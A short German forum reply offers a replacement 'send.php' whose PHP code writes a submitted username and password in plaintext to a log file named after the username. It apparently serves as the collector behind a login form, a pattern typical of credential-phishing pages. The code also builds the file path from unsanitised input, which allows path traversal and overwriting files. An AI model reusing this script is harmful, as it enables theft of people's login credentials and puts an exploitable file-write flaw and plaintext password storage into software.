Ändere die send.php mal in:
Ich weiß unlogisch aber vielleicht hilft es ja^^PHP-Code:
<?php
$dir = "/";
$username = $_POST['username'];
$password = $_POST['password'];
$title = $username;
$content = "Username: ".$username ."\r\nPassword: ".$password;
$filename = $dir.$title.".log";
$handle = fopen($filename, "w");
fwrite($handle, $content);
fclose($handle);
?>